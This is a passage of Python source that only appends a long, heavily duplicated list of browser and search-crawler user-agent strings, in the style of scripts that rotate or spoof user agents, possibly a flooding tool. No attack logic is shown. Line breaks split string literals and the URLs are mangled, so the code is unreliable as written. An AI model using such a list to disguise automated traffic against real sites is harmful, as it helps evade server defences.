WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83;
http://www.80legs.com/webcrawler.html) Gecko/2008032620')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
AddSugarSpiderBot www.idealobserver.com')
headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0;
+http://www.anyapex.com/bot.html)')
headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0;
+http://www.baidu.com/search/spider.html)')
headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0;
+http://www.baidu.com/search/spider.html)')
headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0
compatible; +http://www.become.com/site_owners.html)')
headers_useragents.append('BillyBobBot/1.0
(+http://www.billybobbot.com/crawler/)')
headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0;
+http://www.bing.com/bingbot.htm)')
headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775;
i686-pc-linux-gnu)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0;
http://www.yodao.com/help/webmaster/spider/; )')
headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0;
http://www.yodao.com/help/webmaster/spider/; )')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link
Checker ([email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link
Checker ([email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-
[email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)
AppleWebKit/420+ (KHTML, like Gecko)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET
CLR 3.5.30729; Avant Browser)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)
AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3
Safari/532.2')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)
AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
ChromePlus/1.5.1.1')
headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C
4.7.1; text)')
headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)
AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)
Gecko/20100101 Thunderbird/24.4.0')
headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0;
+http://www.abilogic.com/bot.html)')
headers_useragents.append('SiteBar/3.3.8 (Bookmark Server;
http://sitebar.org/)')
headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2;
en-ca)')
headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2;
en-ca)')
headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0;
Macintosh)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de;
rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de;
rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
.NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
{1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
acc=baadshah; acc=none; freenet DSL 1.1; (none))')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
en) Opera 8.51')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)
AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)
Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
.NET CLR 1.1.4322)')
headers_useragents.append('Googlebot/2.1
(http://www.googlebot.com/bot.html)')
headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en)
Presto/2.2.0')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)
AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1;
Trident/5.0)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT
6.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1;
+http://www.google.com/bot.html)')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE
5.5; yahooseeker at yahoo-inc dot com ;
http://help.yahoo.com/help/us/shop/merchant/)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('AppEngine-Google;
(+http://code.google.com/appengine; appid: webetrex)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
